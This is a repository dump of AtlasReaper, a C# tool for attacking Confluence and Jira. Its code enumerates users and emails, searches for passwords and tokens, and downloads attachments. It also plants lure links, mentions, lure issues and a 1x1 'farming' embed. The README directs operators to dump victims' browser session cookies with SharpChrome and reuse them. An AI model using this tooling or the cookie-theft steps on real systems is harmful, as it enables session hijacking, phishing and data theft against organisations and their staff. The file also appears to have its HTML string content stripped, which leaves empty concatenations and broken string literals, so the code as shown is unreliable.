ats = options.At.Split(',').ToList();
19 | linkMessage += "";
20 | foreach (string at in ats)
21 | {
22 | linkMessage += "";
23 | }
24 | if (options.Message != null)
25 | {
26 | linkMessage += " " + options.Message;
27 | }
28 | linkMessage += " " + options.Text + "
";
29 | }
30 | else if (options.Message != null && options.At == null)
31 | {
32 | linkMessage += "" + options.Message;
33 | linkMessage += " " + options.Text + "
";
34 | }
35 | else
36 | {
37 | linkMessage += " " + options.Text + "";
38 | }
39 |
40 | // Build page url
41 | string pageUrl = options.Url + "/wiki/api/v2/pages/" + options.Page + "?body-format=storage";
42 |
43 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
44 |
45 | // GET page
46 | Page page = webRequestHandler.GetJson(pageUrl, options.Cookie);
47 |
48 | PutBody putBody = new PutBody();
49 |
50 | putBody.Id = page.Id;
51 | putBody.Status = page.Status;
52 | putBody.Title = page.Title;
53 | putBody.SpaceId = page.SpaceId;
54 | putBody.Body = page.Body;
55 | putBody.Body.Storage.Value += linkMessage;
56 | putBody.Body.Storage.Representation = "storage";
57 | putBody.Version = page.Version;
58 | putBody.Version.Number += 1;
59 |
60 | string serializedPage = JsonConvert.SerializeObject(putBody);
61 |
62 | // PUT page
63 | webRequestHandler.PutJson(pageUrl, options.Cookie, serializedPage);
64 |
65 | // Get page to show updated page
66 |
67 | // GET page
68 | page = webRequestHandler.GetJson(pageUrl, options.Cookie);
69 | Console.WriteLine("Created link on page id: " + options.Page);
70 | Console.WriteLine("Output of " + page.Title + " after update.");
71 | Console.WriteLine();
72 | Console.WriteLine(page.Body.Storage.Value);
73 | }
74 | catch (Exception ex)
75 | {
76 | Console.WriteLine("Error occurred while adding link: " + ex.Message);
77 | }
78 |
79 | }
80 | }
81 | }
82 |
--------------------------------------------------------------------------------
/AtlasReaper/Jira/Users.cs:
--------------------------------------------------------------------------------
1 | using Newtonsoft.Json;
2 | using AtlasReaper.Options;
3 | using System;
4 | using System.Collections.Generic;
5 | using System.IO;
6 | using System.Linq;
7 |
8 | namespace AtlasReaper.Jira
9 | {
10 | internal class Users
11 | {
12 | internal void ListUsers(JiraOptions.ListUsersOptions options)
13 | {
14 | try
15 | {
16 | // Get All Users
17 | // GET /rest/api/3/users/search?maxResults=200&startAt=200
18 | int count = 0;
19 | int pageSize = 200;
20 | bool moreUsers = true;
21 |
22 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
23 |
24 | List allUsers = new List();
25 |
26 |
27 | while (moreUsers)
28 | {
29 | string url = options.Url + "/rest/api/3/users/search?maxResults=200&startAt=" + count.ToString();
30 | List users = webRequestHandler.GetJson>(url, options.Cookie);
31 | allUsers.AddRange(users);
32 |
33 | count += pageSize;
34 |
35 | if (users.Count < pageSize)
36 | {
37 | moreUsers = false;
38 | }
39 | }
40 | if (options.outfile != null)
41 | {
42 | using (StreamWriter writer = new StreamWriter(options.outfile))
43 | {
44 | PrintUsers(allUsers, options.Full, writer);
45 | }
46 | }
47 | else
48 | {
49 | PrintUsers(allUsers, options.Full, Console.Out);
50 | }
51 | }
52 | catch (Exception ex)
53 | {
54 | Console.WriteLine("Error occurred while listing users: " + ex.Message);
55 |
56 | }
57 |
58 | }
59 |
60 | private void PrintUsers(List Users, bool full, TextWriter writer)
61 | {
62 | try
63 | {
64 | Users = Users.OrderBy(o => o.EmailAddress).ToList();
65 | for (int i = 0; i < Users.Count; i++)
66 | {
67 | User user = Users[i];
68 | if (user.EmailAddress != null)
69 | {
70 | if (full)
71 | {
72 | writer.WriteLine("User Name : " + user.DisplayName);
73 | writer.WriteLine("User Id : " + user.AccountId );
74 | writer.WriteLine("Active : " + user.Active.ToString());
75 | }
76 | writer.WriteLine("User Email: " + user.EmailAddress);
77 | writer.WriteLine();
78 | }
79 | }
80 | }
81 | catch (Exception ex)
82 | {
83 | Console.WriteLine("Error occurred while printing users: " + ex.Message);
84 | }
85 | }
86 | }
87 |
88 | internal class User
89 | {
90 | [JsonProperty("accountId")]
91 | internal string AccountId { get; set; }
92 |
93 | [JsonProperty("accountType")]
94 | internal string AccountType { get; set; }
95 |
96 | [JsonProperty("active")]
97 | internal bool Active { get; set; }
98 |
99 | [JsonProperty("displayName")]
100 | internal string DisplayName { get; set; }
101 |
102 | [JsonProperty("emailAddress")]
103 | internal string EmailAddress { get; set; }
104 |
105 | [JsonProperty("name")]
106 | internal string Name { get; set; }
107 |
108 | }
109 | }
110 |
--------------------------------------------------------------------------------
/AtlasReaper/Confluence/Embed.cs:
--------------------------------------------------------------------------------
1 | using Newtonsoft.Json;
2 | using AtlasReaper.Options;
3 | using System;
4 | using System.Collections.Generic;
5 | using System.Linq;
6 |
7 | namespace AtlasReaper.Confluence
8 | {
9 | internal class Embed
10 | {
11 | internal void EmbedIframe(ConfluenceOptions.EmbedOptions options)
12 | {
13 | try
14 | {
15 | string imgMessage = "";
16 | if (options.At != null)
17 | {
18 | List ats = options.At.Split(',').ToList();
19 | imgMessage += "";
20 | foreach (string at in ats)
21 | {
22 | imgMessage += "";
23 | }
24 | imgMessage += "
";
25 | }
26 | if (options.Message != null)
27 | {
28 | imgMessage += options.Message;
29 | }
30 | // Build embed iframe
31 | //embedIframe += "1hide1";
32 |
33 | imgMessage = "
";
34 |
35 | // Build page url
36 | string pageUrl = options.Url + "/wiki/api/v2/pages/" + options.Page + "?body-format=storage";
37 |
38 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
39 |
40 | // GET page
41 | Page page = webRequestHandler.GetJson(pageUrl, options.Cookie);
42 |
43 | PutBody putBody = new PutBody();
44 |
45 | putBody.Id = page.Id;
46 | putBody.Status = page.Status;
47 | putBody.Title = page.Title;
48 | putBody.SpaceId = page.SpaceId;
49 | putBody.Body = page.Body;
50 | putBody.Body.Storage.Value += imgMessage;
51 | putBody.Body.Storage.Representation = "storage";
52 | putBody.Version = page.Version;
53 | putBody.Version.Number += 1;
54 |
55 | string serializedPage = JsonConvert.SerializeObject(putBody);
56 |
57 | // PUT page
58 | webRequestHandler.PutJson(pageUrl, options.Cookie, serializedPage);
59 |
60 | // GET page
61 | page = webRequestHandler.GetJson(pageUrl, options.Cookie);
62 | Console.WriteLine("Embedded image on page id: " + page.Id);
63 | Console.WriteLine("Output of " + page.Title + " after update.");
64 | Console.WriteLine();
65 | Console.WriteLine(page.Body.Storage.Value);
66 | }
67 | catch (Exception ex)
68 | {
69 | Console.WriteLine("Error occurred while embedding image: " + ex.Message);
70 | }
71 |
72 |
73 | }
74 |
75 | }
76 |
77 | internal class PutBody
78 | {
79 | [JsonProperty("id")]
80 | internal string Id { get; set; }
81 | [JsonProperty("status")]
82 | internal string Status { get; set; }
83 | [JsonProperty("title")]
84 | internal string Title { get; set; }
85 | [JsonProperty("spaceId")]
86 | internal string SpaceId { get; set; }
87 | [JsonProperty("body")]
88 | internal Body Body { get; set; }
89 | [JsonProperty("version")]
90 | internal Version Version { get; set; }
91 | }
92 | }
93 |
--------------------------------------------------------------------------------
/AtlasReaper/Jira/AddComment.cs:
--------------------------------------------------------------------------------
1 | using Newtonsoft.Json;
2 | using System;
3 | using System.Collections.Generic;
4 |
5 | namespace AtlasReaper.Jira
6 | {
7 | internal class AddComment
8 | {
9 |
10 | internal void CommentAdd(Options.JiraOptions.AddCommentOptions options)
11 | {
12 | try
13 | {
14 | string linkText = options.Text;
15 | string commentUrl = options.Url + "/rest/api/3/issue/" + options.Issue + "/comment";
16 |
17 |
18 | Root root = new Root
19 | {
20 | Body = new Body
21 | {
22 | Version = 1,
23 | Type = "doc",
24 | ContentList = new List()
25 | }
26 | };
27 |
28 |
29 | Content textParagraph = new Content
30 | {
31 | Type = "paragraph",
32 | CommentContents = new List()
33 | };
34 |
35 | if (options.At != null)
36 | {
37 | CommentContent mention = new CommentContent
38 | {
39 | Type = "mention",
40 | Attrs = new Attrs
41 | {
42 | Id = options.At,
43 | AccessLevel = ""
44 | }
45 | };
46 | textParagraph.CommentContents.Add(mention);
47 | }
48 |
49 | if (options.Message != null)
50 | {
51 | CommentContent commentMessage = new CommentContent
52 | {
53 | Type = "text",
54 | Text = " " + options.Message
55 | };
56 |
57 | textParagraph.CommentContents.Add(commentMessage);
58 | }
59 |
60 | if (textParagraph.CommentContents.Count > 0)
61 | {
62 | root.Body.ContentList.Add(textParagraph);
63 | }
64 |
65 |
66 |
67 | Content linkParagraph = new Content
68 | {
69 | Type = "paragraph",
70 | CommentContents = new List()
71 | };
72 |
73 | if (options.Link != null)
74 | {
75 | CommentContent linkContent = new CommentContent
76 | {
77 | Type = "text",
78 | Text = linkText,
79 | Marks = new List
80 | {
81 | new Mark
82 | {
83 | Type = "link",
84 | Attrs = new Attrs
85 | {
86 | Href = options.Link
87 | }
88 | }
89 | }
90 | };
91 |
92 | linkParagraph.CommentContents.Add(linkContent);
93 | root.Body.ContentList.Add(linkParagraph);
94 | }
95 |
96 |
97 |
98 | JsonSerializerSettings settings = new JsonSerializerSettings
99 | {
100 | NullValueHandling = NullValueHandling.Ignore
101 | };
102 |
103 | string json = JsonConvert.SerializeObject(root, Formatting.None, settings);
104 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
105 |
106 | webRequestHandler.PostJson(commentUrl, options.Cookie, json);
107 | }
108 | catch (Exception ex)
109 | {
110 | Console.WriteLine("Error occurred adding comment: " + ex.Message);
111 | }
112 |
113 | }
114 | }
115 |
116 | internal class Root
117 | {
118 | [JsonProperty("body")]
119 | internal Body Body { get; set; }
120 | }
121 | }
122 |
123 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # AtlasReaper
2 |
3 | AtlasReaper is a command-line tool developed for offensive security purposes, primarily focused on reconnaissance of Confluence and Jira. It also provides various features that can be helpful for tasks such as credential farming and social engineering. The tool is written in C#.
4 |
5 | Blog post: [Sowing Chaos and Reaping Rewards in Confluence and Jira](https://medium.com/specter-ops-posts/sowing-chaos-and-reaping-rewards-in-confluence-and-jira-7a90ba33bf62)
6 |
7 | Detailed usage instructions can be found on the repo's [wiki](https://github.com/werdhaihai/AtlasReaper/wiki)
8 |
9 | ```
10 | .@@@@
11 | @@@@@
12 | @@@@@ @@@@@@@
13 | @@@@@ @@@@@@@@@@@
14 | @@@@@ @@@@@@@@@@@@@@@
15 | @@@@, @@@@ *@@@@
16 | @@@@ @@@ @@ @@@ .@@@
17 | _ _ _ ___ @@@@@@@ @@@@@@
18 | /_\| |_| |__ _ __| _ \___ __ _ _ __ ___ _ _ @@ @@@@@@@@
19 | / _ \ _| / _` (_-< / -_) _` | '_ \/ -_) '_| @@ @@@@@@@@
20 | /_/ \_\__|_\__,_/__/_|_\___\__,_| .__/\___|_| @@@@@@@@ &@
21 | |_| @@@@@@@@@@ @@&
22 | @@@@@@@@@@@@@@@@@
23 | @@@@@@@@@@@@@@@@. @@
24 | @werdhaihai
25 | ```
26 |
27 | ## Usage
28 |
29 | AtlasReaper uses commands, subcommands, and options. The format for executing commands is as follows:
30 |
31 | `.\AtlasReaper.exe [command] [subcommand] [options]`
32 |
33 | Replace `[command]`, `[subcommand]`, and `[options]` with the appropriate values based on the action you want to perform. For more information about each command or subcommand, use the `-h` or `--help` option.
34 |
35 | Below is a list of available commands and subcommands:
36 |
37 | ### Commands
38 |
39 | Each command has sub commands for interacting with the specific product.
40 |
41 | - `confluence`
42 | - `jira`
43 |
44 | ### Subcommands
45 |
46 | #### Confluence
47 |
48 | - `confluence attach` - Attach a file to a page.
49 | - `confluence download` - Download an attachment.
50 | - `confluence embed` - Embed a 1x1 pixel image to perform farming attacks.
51 | - `confluence link` - Add a link to a page.
52 | - `confluence listattachments` - List attachments.
53 | - `confluence listpages` - List pages in Confluence.
54 | - `confluence listspaces` - List spaces in Confluence.
55 | - `confluence search` - Search Confluence.
56 | - `confluence downloadBOFNET` - Download attachment(s) through BOF.NET.
57 |
58 | #### Jira
59 |
60 | - `jira addcomment` - Add a comment to an issue.
61 | - `jira attach` - Attach a file to an issue.
62 | - `jira createissue` - Create a new issue.
63 | - `jira download` - Download attachment(s) from an issue.
64 | - `jira listattachments` - List attachments on an issue.
65 | - `jira listissues` - List issues in Jira.
66 | - `jira listprojects` - List projects in Jira.
67 | - `jira listusers` - List Atlassian users.
68 | - `jira searchissues` - Search issues in Jira.
69 | - `jira downloadBOFNET` - Download attachment(s) through BOF.NET.
70 |
71 |
72 | #### Common Commands
73 |
74 | - `help` - Display more information on a specific command.
75 |
76 |
77 | ## Examples
78 |
79 | Here are a few examples of how to use AtlasReaper:
80 |
81 | - Search for a keyword in Confluence with wildcard search:
82 |
83 | `.\AtlasReaper.exe confluence search --query "http*example.com*" --url $url --cookie $cookie`
84 |
85 | - Attach a file to a page in Confluence:
86 |
87 | `.\AtlasReaper.exe confluence attach --page-id "12345" --file "C:\path\to\file.exe" --url $url --cookie $cookie`
88 |
89 | - Create a new issue in Jira:
90 |
91 | `.\AtlasReaper.exe jira createissue --project "PROJ" --issue-type Task --message "I can't access this link from my host" --url $url --cookie $cookie`
92 |
93 | - Search for multiple keywords in Jira Issues and show comments and attachments related to them:
94 |
95 | `.\AtlasReaper.exe jira search --query "password token" --url $url --cookie $cookie --comments --attachments`
96 |
97 | - Download attachments from Jira Issues through BOF.NET:
98 |
99 | `.\AtlasReaper.exe jira downloadBOFNET --url $url --cookie $cookie -a id1,id2,...`
100 |
101 | - Download attachments from Confluence through BOF.NET:
102 |
103 | `.\AtlasReaper.exe confluence downloadBOFNET --url $url --cookie $cookie -a id1,id2,...`
104 |
105 | ## Authentication
106 |
107 | Confluence and Jira can be configured to allow anonymous access. You can check this by supplying omitting the -c/--cookie from the commands.
108 |
109 | In the event authentication is required, you can dump cookies from a user's browser with [SharpChrome]() or another similar tool.
110 |
111 | 1. `.\SharpChrome.exe cookies /showall`
112 |
113 | 2. Look for any cookies scoped to the `*.atlassian.net` named `cloud.session.token` or `tenant.session.token`
114 |
115 | ## Limitations
116 |
117 | Please note the following limitations of AtlasReaper:
118 |
119 | - The tool has not been thoroughly tested in all environments, so it's possible to encounter crashes or unexpected behavior. Efforts have been made to minimize these issues, but caution is advised.
120 | - AtlasReaper uses the `cloud.session.token` or `tenant.session.token` which can be obtained from a user's browser. Alternatively, it can use anonymous access if permitted. (API tokens or other auth is not currently supported)
121 | - For write operations, the username associated with the user session token (or "anonymous") will be listed.
122 |
123 | ## Contributing
124 |
125 | If you encounter any issues or have suggestions for improvements, please feel free to contribute by submitting a pull request or opening an issue in the [AtlasReaper repo](https://github.com/werdhaihai/AtlasReaper).
126 |
--------------------------------------------------------------------------------
/AtlasReaper/Jira/CreateIssue.cs:
--------------------------------------------------------------------------------
1 | using Newtonsoft.Json;
2 | using System;
3 | using System.Collections.Generic;
4 |
5 | namespace AtlasReaper.Jira
6 | {
7 | class CreateIssue
8 | {
9 | internal void CreateIssueM(Options.JiraOptions.CreateIssueOptions options)
10 | {
11 | string createMetaUrl = options.Url + "/rest/api/3/issue/createmeta?projectKeys=" + options.Project;
12 | string postIssueUrl = options.Url + "/rest/api/3/issue";
13 |
14 | string linkText = "\u200b" + options.Text;
15 |
16 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
17 |
18 | IssueCreateMetaData createMetaData = webRequestHandler.GetJson(createMetaUrl, options.Cookie);
19 |
20 | IssueObj issue = new IssueObj
21 | {
22 | IssueFields = new IssueFields
23 | {
24 | ProjectKey = new ProjectKey
25 | {
26 | Key = options.Project
27 | },
28 |
29 | Summary = options.Summary,
30 | IssueType = new IssueType
31 | {
32 | Name = options.IssueType
33 | },
34 | Description = new Body
35 | {
36 | Type = "doc",
37 | Version = 1,
38 | ContentList = new List()
39 |
40 | }
41 |
42 | }
43 | };
44 |
45 | Content textParagraph = new Content
46 | {
47 | Type = "paragraph",
48 | CommentContents = new List()
49 | };
50 |
51 | if (options.At != null)
52 | {
53 | CommentContent mention = new CommentContent
54 | {
55 | Type = "mention",
56 | Attrs = new Attrs
57 | {
58 | Id = options.At,
59 | AccessLevel = ""
60 | }
61 | };
62 | textParagraph.CommentContents.Add(mention);
63 | }
64 |
65 | if (options.Message != null)
66 | {
67 | CommentContent commentMessage = new CommentContent
68 | {
69 | Type = "text",
70 | Text = " " + options.Message
71 | };
72 |
73 | textParagraph.CommentContents.Add(commentMessage);
74 | }
75 |
76 | if (textParagraph.CommentContents.Count > 0)
77 | {
78 | issue.IssueFields.Description.ContentList.Add(textParagraph);
79 | }
80 |
81 |
82 |
83 | Content linkParagraph = new Content
84 | {
85 | Type = "paragraph",
86 | CommentContents = new List()
87 | };
88 |
89 | if (options.Link != null)
90 | {
91 | CommentContent linkContent = new CommentContent
92 | {
93 | Type = "text",
94 | Text = linkText,
95 | Marks = new List
96 | {
97 | new Mark
98 | {
99 | Type = "link",
100 | Attrs = new Attrs
101 | {
102 | Href = options.Link
103 | }
104 | }
105 | }
106 | };
107 |
108 | linkParagraph.CommentContents.Add(linkContent);
109 | issue.IssueFields.Description.ContentList.Add(linkParagraph);
110 | }
111 |
112 | JsonSerializerSettings settings = new JsonSerializerSettings
113 | {
114 | NullValueHandling = NullValueHandling.Ignore
115 | };
116 |
117 | string json = JsonConvert.SerializeObject(issue, Formatting.None, settings);
118 |
119 | IssueCreated issueCreated = webRequestHandler.PostJson(postIssueUrl, options.Cookie, json);
120 | Console.WriteLine("Created issue : " + issueCreated.Key);
121 |
122 | string restUrl = options.Url + "/rest/api/3/search?jql=Issue=" + issueCreated.Key + "&expand=renderedFields&fields=description,summary,created,updated,status,creator,assignee,comment,attachment";
123 |
124 | Issues issueClass = new Issues();
125 | RootIssuesObject issuesList = issueClass.GetIssues(restUrl, options.Cookie);
126 | issueClass.PrintIssues(issuesList.Issues, Console.Out);
127 | }
128 | }
129 |
130 | internal class IssueCreated
131 | {
132 | [JsonProperty("id")]
133 | internal string Id { get; set; }
134 | [JsonProperty("key")]
135 | internal string Key { get; set; }
136 | [JsonProperty("self")]
137 | internal string Self { get; set; }
138 | }
139 |
140 | internal class IssueCreateMetaData
141 | {
142 | [JsonProperty("expand")]
143 | internal string Expand { get; set; }
144 |
145 | [JsonProperty("projects")]
146 | internal List Projects { get; set; }
147 | }
148 |
149 | internal class IssueObj
150 | {
151 | [JsonProperty("fields")]
152 | internal IssueFields IssueFields { get; set; }
153 | }
154 |
155 | internal class IssueFields
156 | {
157 | [JsonProperty("project")]
158 | internal ProjectKey ProjectKey { get; set; }
159 |
160 | [JsonProperty("summary")]
161 | internal string Summary { get; set; }
162 |
163 | [JsonProperty("issuetype")]
164 | internal IssueType IssueType { get; set; }
165 |
166 | [JsonProperty("description")]
167 | internal Body Description { get; set; }
168 | }
169 |
170 | internal class ProjectKey
171 | {
172 | [JsonProperty("key")]
173 | internal string Key { get; set; }
174 | }
175 | }
176 |
--------------------------------------------------------------------------------
/AtlasReaper/Jira/Search.cs:
--------------------------------------------------------------------------------
1 | using AtlasReaper.Options;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.IO;
5 | using System.Net;
6 | using System.Text.RegularExpressions;
7 |
8 | namespace AtlasReaper.Jira
9 | {
10 | class Search
11 | {
12 | internal void SearchJira(JiraOptions.SearchIssuesOptions options)
13 | {
14 | try
15 | {
16 | RootIssuesObject issuesList = new RootIssuesObject();
17 |
18 | // Building the url
19 | //string query = WebUtility.UrlEncode(options.Query);
20 | string encodedQuery = "\"" + WebUtility.UrlEncode(options.Query) + "\"";
21 | string url =
22 | options.Url +
23 | "/rest/api/3/search?jql=text~" +
24 | encodedQuery +
25 | "&expand=renderedFields&fields=description,summary,created,updated,status,creator,assignee";
26 |
27 | if (options.Comments)
28 | {
29 | url = url + ",comment";
30 | }
31 | if (options.Attachments)
32 | {
33 | url = url + ",attachment";
34 | }
35 | if (!options.All)
36 | {
37 | issuesList = DoSearch(options, url);
38 | }
39 | else
40 | {
41 | // return all results
42 | }
43 |
44 | //PrintIssues(issuesList.Issues, Console.Out, options.Url);
45 |
46 | if (options.outfile != null)
47 | {
48 | using (StreamWriter writer = new StreamWriter(options.outfile))
49 | {
50 | PrintIssues(issuesList.Issues, writer, options.Url);
51 | }
52 | }
53 | else
54 | {
55 | PrintIssues(issuesList.Issues, Console.Out, options.Url);
56 | }
57 |
58 | }
59 | catch(Exception ex)
60 | {
61 | Console.WriteLine("Error occurred while searching Jira: " + ex.Message);
62 | }
63 | }
64 |
65 | private RootIssuesObject DoSearch(JiraOptions.SearchIssuesOptions options, string url)
66 | {
67 |
68 |
69 |
70 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
71 |
72 | RootIssuesObject searchObject = webRequestHandler.GetJson(url, options.Cookie);
73 |
74 | return searchObject;
75 |
76 | }
77 |
78 | internal void PrintIssues(List issues, TextWriter writer, string url)
79 | {
80 | try
81 | {
82 | for (int i = 0; i < issues.Count; i++)
83 | {
84 | Issue issue = issues[i];
85 | List comments = issue.RenderedFields.RenderedCommentObj?.Comments;
86 | List attachments = issue.RenderedFields?.Attachments;
87 |
88 | writer.WriteLine(" Issue Title : " + issue.Fields.Title);
89 | writer.WriteLine(" Issue Key : " + issue.Key);
90 | writer.WriteLine(" Issue Id : " + issue.Id);
91 | writer.WriteLine(" Created : " + issue.RenderedFields.Created);
92 | writer.WriteLine(" Updated : " + issue.RenderedFields.Updated);
93 | writer.WriteLine(" Status : " + issue.Fields.Status?.Name);
94 | writer.WriteLine(" Creator : " + issue.Fields.Creator?.EmailAddress + " - " + issue.Fields.Creator?.DisplayName + " - " + issue.Fields.Creator?.TimeZone);
95 | writer.WriteLine(" Assignee : " + issue.Fields.Assignee?.EmailAddress + " - " + issue.Fields.Assignee?.DisplayName + " - " + issue.Fields.Assignee?.TimeZone);
96 | writer.WriteLine(" Issue Contents : " + Regex.Replace(issue.RenderedFields.Description, @"<(?!\/?a(?=>|\s.*>))\/?.*?>", "").Trim('\r', '\n'));
97 | writer.WriteLine(" Issue URL : " + url + "/rest/api/3/issue/" + issue.Id);
98 | writer.WriteLine();
99 | if (attachments?.Count > 0)
100 | {
101 | writer.WriteLine(" Attachments : ");
102 | writer.WriteLine();
103 | for (int j = 0; j < attachments.Count; j++)
104 | {
105 | Attachment attachment = attachments[j];
106 | writer.WriteLine(" Filename : " + attachment.FileName);
107 | writer.WriteLine(" Attachment Id : " + attachment.Id);
108 | writer.WriteLine(" Mimetype : " + attachment.mimeType);
109 | writer.WriteLine(" File size : " + attachment.Size);
110 | writer.WriteLine(" Attachment URL : " + url + "/rest/api/3/attachment/" + attachment.Id);
111 | writer.WriteLine(" Attachment content : " + url + "/rest/api/3/attachment/content/" + attachment.Id);
112 | writer.WriteLine();
113 | }
114 | }
115 | if (comments?.Count > 0)
116 | {
117 | writer.WriteLine();
118 | writer.WriteLine(" Comments : ");
119 | writer.WriteLine();
120 | for (int j = 0; j < comments.Count; j++)
121 | {
122 | writer.WriteLine(" - " + comments[j].Author.EmailAddress + " - " + comments[j].Author.DisplayName + " - " + comments[j].Created);
123 | List contentList = comments[j]?.Body.ContentList;
124 | for (int k = 0; k < contentList.Count; k++)
125 | {
126 |
127 | List commentContents = contentList[k]?.CommentContents;
128 | if (commentContents != null)
129 | {
130 | for (int l = 0; l < commentContents.Count; l++)
131 | {
132 | writer.WriteLine(" " + commentContents[l].Text?.Trim('\r', '\n'));
133 |
134 | }
135 | }
136 | }
137 | writer.WriteLine();
138 | }
139 |
140 | }
141 | writer.WriteLine();
142 | }
143 | }
144 | catch (Exception ex)
145 | {
146 | Console.WriteLine("Error occurred while printing issues: " + ex.Message);
147 | }
148 |
149 | }
150 | }
151 |
152 | }
153 |
--------------------------------------------------------------------------------
/AtlasReaper/Confluence/Search.cs:
--------------------------------------------------------------------------------
1 | using AtlasReaper.Options;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Net;
5 | using Newtonsoft.Json;
6 |
7 | namespace AtlasReaper.Confluence
8 | {
9 | internal class Search
10 | {
11 | internal void SearchConfluence(ConfluenceOptions.SearchOptions options)
12 | {
13 | try
14 | {
15 | //Perform search based on provided options
16 | if (!options.All)
17 | {
18 | SearchObject searchObject = DoSearchAsync(options, options.Query);
19 | PrintResults(searchObject.Results, options.Url);
20 | }
21 | else
22 | {
23 | // Return all results
24 | SearchObject searchObject = DoSearchAsync(options, options.Query);
25 |
26 | List results = searchObject.Results;
27 |
28 | while (searchObject != null && searchObject._Links.Next != null)
29 | {
30 | string paginationUrl = searchObject._Links.Base + searchObject._Links.Next;
31 |
32 | searchObject = DoSearchAsync(options, options.Query, paginationUrl);
33 | results.AddRange(searchObject.Results);
34 | }
35 |
36 | PrintResults(results, options.Url);
37 | }
38 | }
39 |
40 | catch (Exception ex)
41 | {
42 | Console.WriteLine("Error occurred while searching Confluence: " + ex.Message);
43 | }
44 |
45 |
46 | }
47 |
48 | internal SearchObject DoSearchAsync(ConfluenceOptions.SearchOptions options, string query, string paginationUrl = null)
49 | {
50 | try
51 | {
52 | // Encode query for Url
53 | //query = WebUtility.UrlEncode(query);
54 | string encodedQuery = "\"" + WebUtility.UrlEncode(query) + "\"";
55 | string url = options.Url + "/wiki/rest/api/search?cql=text~" + encodedQuery + "&limit=" + options.Limit;
56 | if (paginationUrl != null)
57 | {
58 | url = paginationUrl;
59 | }
60 |
61 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
62 |
63 | SearchObject searchObject = webRequestHandler.GetJson(url, options.Cookie);
64 |
65 | return searchObject;
66 | }
67 | catch (Exception ex)
68 | {
69 | Console.WriteLine("An error occurred while performing the search: " + ex.Message);
70 | return null;
71 | }
72 |
73 | }
74 |
75 | internal void PrintResults(List results, string url)
76 | {
77 | try
78 | {
79 | //results = results.OrderByDescending(o => o.LastModified).ToList();
80 | for (int i = 0; i < results.Count; i++)
81 | {
82 | SearchResult result = results[i];
83 |
84 | Console.WriteLine(" Title : " + result.Title.Replace("@@@hl@@@", "").Replace("@@@endhl@@@", ""));
85 | Console.WriteLine(" Id : " + result.Content.Id);
86 | Console.WriteLine(" Type : " + result.Content.Type);
87 | Console.WriteLine(" Excerpt : " + result.Excerpt.Replace("@@@hl@@@", "").Replace("@@@endhl@@@", "").Replace("\\", "\\\\").Replace("\n", "\\n"));
88 | Console.WriteLine(" URL : " + url + "/wiki/rest/api/content/" + result.Content.Id + "?expand=body.storage");
89 | if (result.Content.Type.Equals("page"))
90 | {
91 | Console.WriteLine(" Attachments URL : " + url + "/wiki/api/v2/pages/" + result.Content.Id + "/attachments");
92 | }
93 | if (result.Content.Type.Equals("blogpost"))
94 | {
95 | Console.WriteLine(" Attachments URL : " + url + "/wiki/api/v2/blogposts/" + result.Content.Id + "/attachments");
96 | }
97 | Console.WriteLine();
98 | }
99 | }
100 | catch (Exception ex)
101 | {
102 | Console.WriteLine("Error while printing the search results: " + ex.Message);
103 | }
104 |
105 | }
106 | }
107 |
108 | internal class SearchObject
109 | {
110 | [JsonProperty("results")]
111 | internal List Results { get; set; }
112 |
113 | [JsonProperty("start")]
114 | internal int Start { get; set; }
115 |
116 | [JsonProperty("limit")]
117 | internal int Limit { get; set; }
118 |
119 | [JsonProperty("size")]
120 | internal int Size { get; set; }
121 |
122 | [JsonProperty("totalSize")]
123 | internal int TotalSize { get; set; }
124 |
125 | [JsonProperty("cqlQuery")]
126 | internal string CqlQuery { get; set; }
127 |
128 | [JsonProperty("searchDuration")]
129 | internal string SearchDuration { get; set; }
130 |
131 | [JsonProperty("_links")]
132 | internal _SearchLinks _Links { get; set; }
133 | }
134 |
135 | internal class SearchResult
136 | {
137 | [JsonProperty("content")]
138 | internal Content Content { get; set; }
139 |
140 | [JsonProperty("title")]
141 | internal string Title { get; set; }
142 |
143 | [JsonProperty("excerpt")]
144 | internal string Excerpt { get; set; }
145 |
146 | [JsonProperty("url")]
147 | internal string Url { get; set; }
148 |
149 | [JsonProperty("resultGlobalContainer")]
150 | internal ResultGlobalContainer ResultGlobalContainer { get; set; }
151 |
152 | [JsonProperty("lastModified")]
153 | internal string LastModified { get; set; }
154 |
155 | [JsonProperty("friendlyLastModified")]
156 | internal string FriendlyLastModified { get; set; }
157 |
158 | [JsonProperty("score")]
159 | internal string Score { get; set; }
160 |
161 | }
162 |
163 | internal class Content
164 | {
165 | [JsonProperty("id")]
166 | internal string Id { get; set; }
167 |
168 | [JsonProperty("type")]
169 | internal string Type { get; set; }
170 |
171 | [JsonProperty("status")]
172 | internal string Status { get; set; }
173 |
174 | [JsonProperty("title")]
175 | internal string Title { get; set; }
176 |
177 | }
178 | internal class ResultGlobalContainer
179 | {
180 | [JsonProperty("title")]
181 | internal string Title { get; set; }
182 |
183 | [JsonProperty("displayUrl")]
184 | internal string DisplayUrl { get; set; }
185 | }
186 |
187 | internal class _SearchLinks
188 | {
189 | [JsonProperty("base")]
190 | internal string Base { get; set; }
191 | [JsonProperty("context")]
192 | internal string Context { get; set; }
193 |
194 | [JsonProperty("next")]
195 | internal string Next { get; set; }
196 |
197 | [JsonProperty("self")]
198 | internal string Self { get; set; }
199 |
200 | }
201 | }
202 |
--------------------------------------------------------------------------------
/AtlasReaper/Confluence/Spaces.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Linq;
5 | using Newtonsoft.Json;
6 | using AtlasReaper.Options;
7 |
8 | namespace AtlasReaper.Confluence
9 | {
10 | internal class Spaces
11 | {
12 | // List spaces based on options
13 | internal void ListSpaces(ConfluenceOptions.ListSpacesOptions options)
14 | {
15 | try
16 | {
17 | List spaces = new List();
18 |
19 | if (options.Space != null)
20 | {
21 | // Get a single space
22 | Space space = GetSpace(options);
23 | spaces.Add(space);
24 | }
25 | else if (options.AllSpaces)
26 | {
27 | // List all spaces
28 | spaces = GetAllSpaces(options);
29 | }
30 | else
